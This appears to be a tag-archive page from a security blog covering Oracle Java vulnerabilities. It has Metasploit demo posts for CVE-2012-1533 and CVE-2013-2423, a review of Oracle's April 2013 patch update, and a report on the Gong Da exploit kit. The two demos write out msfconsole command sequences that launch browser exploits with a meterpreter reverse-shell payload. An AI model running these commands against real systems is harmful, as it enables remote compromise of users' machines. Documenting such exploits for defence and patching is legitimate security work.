Tag Archives: Oracle

CVE-2012-1533 Oracle Java Web Start Vulnerability Metasploit Demo

16/06/2013Exploits, MetasploitCVE-2012-1533, Java SE 6, Java SE 7, Oraclewow

Timeline :

Vulnerability fixed by Oracle the 2012-10-16
Details on the vulnerability provided by Rh0 the 2013-06-09
Metasploit PoC provided the 2013-06-12

PoC provided by :

Rh0

Reference(s) :

CVE-2012-1533
OSVDB-86348
BID-56046
Oracle Java SE Critical Patch Update Advisory – October 2012
Rh0 Pastebin

Affected version(s) :

JSE 7 Update 7 and before
JSE 6 Update 35 and before

Tested on Windows XP Pro with :

JSE 7 Update 7

Description :

This module exploits a flaw in the Web Start component of the Oracle Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JSE 6 Update 35 and before, and JSE 7 Update 7 and before. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server.

Commands :

use exploit/windows/browser/java_ws_double_quote
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

CVE-2013-2423 – Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo

20/04/2013Exploits, MetasploitCVE-2013-2423, Java, Java 7 Update 17, Java SE 7, Oracle, Oracle Java Critical Patch Update April 2013wow

Timeline :

Vulnerability discovered and reported to vendor by Jeroen Frijters
Vulnerability corrected in April CPU the 2013-04-16
Vulnerability publicly disclosed by Jeroen Frijters the 2013-04-17
Metasploit PoC provided the 2013-04-20

PoC provided by :

Jeroen Frijters
juan vazquez

Reference(s) :

Oracle Java April 2013 CPU
CVE-2013-2423
OSVDB-92348
BID-59162

Affected version(s) :

JDK and JRE 7 Update 17 and earlier

Tested on Windows XP Pro SP3 with :

JDK and JRE 7 Update 17

Description :

This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.

Commands :

use exploit/multi/browser/java_jre17_reflection_types
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

Oracle Java Critical Patch Update April 2013 Review

16/04/2013Vulnerability ManagementCVE-2013-0401, CVE-2013-0402, CVE-2013-1488, CVE-2013-1491, CVE-2013-1518, CVE-2013-1537, CVE-2013-1540, CVE-2013-1557, CVE-2013-1558, CVE-2013-1561, CVE-2013-1563, CVE-2013-1564, CVE-2013-1569, CVE-2013-2383, CVE-2013-2384, CVE-2013-2394, CVE-2013-2414, CVE-2013-2415, CVE-2013-2416, CVE-2013-2417, CVE-2013-2418, CVE-2013-2419, CVE-2013-2420, CVE-2013-2421, CVE-2013-2422, CVE-2013-2423, CVE-2013-2424, CVE-2013-2425, CVE-2013-2426, CVE-2013-2427, CVE-2013-2428, CVE-2013-2429, CVE-2013-2430, CVE-2013-2431, CVE-2013-2432, CVE-2013-2433, CVE-2013-2434, CVE-2013-2435, CVE-2013-2436, CVE-2013-2438, CVE-2013-2439, CVE-2013-2440, Java, Java 7 Update 21, Java SE 6, Java SE 7, Oracle, Oracle Java Critical Patch Update, Oracle Java Critical Patch Update April 2013wow

Oracle has provide his Java Critical Patch Update (CPU) for April 2013 who has been released on Tuesday, April 16. On the 42 security vulnerabilities fixed in this CPU, 39 of them may be remotely exploitable. The highest CVSS Base Score for vulnerabilities in this CPU is 10.0.

This update fix the vulnerabilities exploited by James Forshaw (tyranid), Joshua J. Drake and VUPEN Security during Pwn20wn 2013. But this update is also fixing vulnerabilities reported by Adam Gowdiak of Security Explorations and other security researchers.

As you may know Oracle is using CVSS 2.0 (Common Vulnerability Scoring System) in order to score the reported vulnerabilities. But as you also may know security researchers disagree with the usage of CVSS by Oracle. Oracle play with CVSS score by creating a “Partial+” impact rating how don’t exist in CVSS 2.0, and by interpreting the “Complete” rating in a different way than defined in CVSS 2.0.

Affected products are:

JDK and JRE 7 Update 17 and earlier
JDK and JRE 6 Update 43 and earlier
JDK and JRE 5.0 Update 41 and earlier
JavaFX 2.2.7 and earlier

Proposed updates are:

JDK and JRE 7 Update 21
JDK and JRE 6 Update 45
JDK and JRE 5.0 Update 43
JavaFX 2.2.21

19 (45,24%) of the vulnerabilities have a CVSS base score of 10.0, 28 (66,67%) of the vulnerabilities have a high CVSS base score (CVSS => 7.0), 13 (30,95%) of the vulnerabilities have a medium CVSS base score (CVSS >= 4.0 < 7.0) and 1 (2,38%) of the vulnerabilities has a low CVSS base score (CVSS < 4.0). Also 25 (59,52%) of the vulnerabilities affects Java SE 6 and 42 (100%) of the vulnerabilities are affecting Java SE 7.

Also some modifications have been done in the Security Levels provided by Oracle. Previously five levels were existing (Very-High, High, Medium, Low and Custom), in the new provided version only three levels are still existing (Very-High, High and Medium).

But, there is always a but with Oracle, they don’t seem to have enable, by default, the check for revocation using Certificate Revocation Lists (CRLs) despite that some bad guys are using valid stollen and revoked certificates to sign malware’s.

So we advise you to update asap, enable the CRL check, if you still have Oracle Java plug-in installed !

Gong Da Exploit Kit Add Java CVE-2013-1493 & IE CVE-2012-4792 & IE CVE-2012-4969 Support

15/04/2013VariousAdobe, CVE-2011-3544, CVE-2012-0507, CVE-2012-1723, CVE-2012-1889, CVE-2012-4681, CVE-2012-4792, CVE-2012-4969, CVE-2012-5076, CVE-2013-0422, CVE-2013-0634, CVE-2013-1493, Flash, Gondad, Gong Da, Java, Microsoft, Oraclewow

Like other Exploit Kits, Gong Da has add support for Oracle Java CVE-2013-1493 vulnerability, fixed in Oracle Java 6 Update 17, has also add support for Microsoft Internet Explorer CVE-2012-4969 and CVE-2012-4792 vulnerabilities, fixed in an emergency patch in September 2012 and January 2013.

Here is the new code for CVE-2013-1493.

And here the new code for CVE-2012-4792 (aka 4792.html) and CVE-2012-4969 (aka payload.html).

Also a new variant of CVE-2012-1889 (xml.html) has been introduced, reducing the detection rate by anti-viruses.

As always this new version of Gong Da Exploit Kit has been discovered on a Korean web site.

Gong Da Pack has involve to the following diagram.

Here under some information s regarding the different files:

HcIa2.jar (aka CVE-2011-3544): 11/46 on VirusTotal.com
bzExj6.jar (aka CVE-2012-0507): 14/45 on VirusTotal.com
BnkLbvY3.jar (aka CVE-2012-1723): 19/46 on VirusTotal.com
iCNpns4.jar (aka CVE-2012-4681): 28/46 on VirusTotal.com
JdtDFRW1.jar (aka CVE-2012-5076): 16/46 on VirusTotal.com
TolxrJG6.jar (aka CVE-2013-0422): 19/46 on VirusTotal.com
FQxzUjYP.jar (aka CVE-2013-1493): 16/46 on VirusTotal.com
GwDFO7.swf (aka CVE-2013-0634): 10/46 on VirusTotal.com
xmlcoreOld.html (aka CVE-2012-1889): 18/46 on VirusTotal.com
xml.html (aka CVE-2012-1889): 3/35 on VirusTotal.com
xmlcoreNew.html (aka CVE-2012-1889): 10/45 on VirusTotal.com
4792.html (aka CVE-2012-4792): 1/46 on VirusTotal.com
xyaKEg.html and payload.html (aka CVE-2012-4969): 5/46 on VirusTotal.com

Normally Gong Da was used against gamers, but this time the loaded malware seem to be different (analysis on ThreatExpert)

Eric Romang Blog

aka wow on ZATAZ.com

Tag Archives: Oracle

CVE-2012-1533 Oracle Java Web Start Vulnerability Metasploit Demo

Timeline :

PoC provided by :

Reference(s) :

Affected version(s) :

Tested on Windows XP Pro with :

Description :

Commands :

CVE-2013-2423 – Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo

Timeline :

PoC provided by :

Reference(s) :

Affected version(s) :

Tested on Windows XP Pro SP3 with :

Description :

Commands :

Oracle Java Critical Patch Update April 2013 Review

Gong Da Exploit Kit Add Java CVE-2013-1493 & IE CVE-2012-4792 & IE CVE-2012-4969 Support